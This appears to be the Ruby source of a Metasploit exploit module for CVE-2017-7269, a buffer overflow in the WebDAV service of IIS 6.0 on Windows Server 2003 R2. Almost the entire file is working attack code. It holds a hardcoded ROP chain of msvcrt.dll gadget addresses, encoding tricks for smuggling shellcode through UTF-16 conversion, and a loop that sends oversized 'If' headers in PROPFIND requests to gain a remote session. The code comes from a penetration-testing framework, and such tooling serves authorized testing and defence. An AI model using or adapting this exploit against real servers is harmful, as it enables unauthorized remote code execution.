metasploit-framework/modules/exploits/windows/iis/iis_webdav_scstoragepathfro...

266 lines
8.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft', # metasploit module
'Lincoln' # minor updates to metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2 x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
},
],
],
'Platform' => 'win',
'DisclosureDate' => '2017-03-26',
'DefaultTarget' => 0,
'Notes' =>
{
'AKA' => ['EXPLODINGCAN'],
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'Side Effects' => []
}
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end
def min_path_len
datastore['MINPATHLENGTH']
end
def max_path_len
datastore['MAXPATHLENGTH']
end
def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'].to_s.include?('PROPFIND') ||
headers['Allow'].to_s.include?('PROPFIND')
return true
end
false
end
def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
unless res
vprint_error 'Connection failed'
return Exploit::CheckCode::Unknown
end
unless supports_webdav? res.headers
vprint_status 'Server does not support WebDAV'
return CheckCode::Safe
end
if res.headers['Server'].to_s.include? 'IIS/6.0'
return CheckCode::Vulnerable
end
CheckCode::Detected
end
# corelan.be
# rop chain generated with mona.py
def create_rop_chain
[
#MSVCRT.dll - all Windows 2003
0x77bcb06c, # POP ESI # RETN
0x77bef001, # Write pointer # Garbage
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
0x41414141, # junk
0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0946F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0944f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
#encode string as UTF-8 char format that when converted to UTF-16LE
#will represent chars we want in memory
def utf_encode_str(str)
str.force_encoding('UTF-16LE').encode('UTF-8')
end
#filler chars to be encoded
def make_junk(len)
utf_encode_str rand_text_alpha(len)
end
def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status('Extracting ServerName and Port')
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207)
xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")
print_status "Trying path length #{min_path_len} to #{max_path_len} ..."
min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")
begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << make_junk(32)
#survive SHR instruction 0x02020202
buf1 << utf_encode_str([0x02020202].pack('V'))
#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
buf1 << utf_encode_str([0x680312c0].pack('V'))
buf1 << make_junk(40)
#0x680313c0 -> destination pointer used with memcpy
buf1 << utf_encode_str([0x680313c0].pack('V'))
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << make_junk(28)
#0x680313c0 -> pointer to call itself at same address for vtable call
buf1 << utf_encode_str([0x680313c0].pack('V'))
#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
buf1 << utf_encode_str([0x77bdf38d].pack('V'))
buf1 << make_junk(8)
#0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
#point to itself at [eax]
buf1 << utf_encode_str([0x680313c0].pack('V'))
buf1 << make_junk(16)
#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
#which also points to new ESP
buf1 << utf_encode_str([0x68016082].pack('V'))
buf1 << utf_encode_str(create_rop_chain)
#GetPC # push esp; pop esi; add esi, 10
buf1 << utf_encode_str("\x54\x5e\x83\xc6")
#GetPC ESI +10 plus encode alignment
buf1 << utf_encode_str("\x0a\x41")
buf1 << payload.encoded
buf1 << ">"
vprint_status 'Sending payload'
res = send_request_raw(
'method' => 'PROPFIND',
'uri' => target_uri.path,
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
}
)
next unless res
vprint_status("Server returned status #{res.code}")
next if res.code == 502 || res.code == 400
return if session_created?
vprint_status("Unknown Response: #{res.code}")
rescue ::Errno::ECONNRESET
vprint_status('got a connection reset')
next
end
end
end
end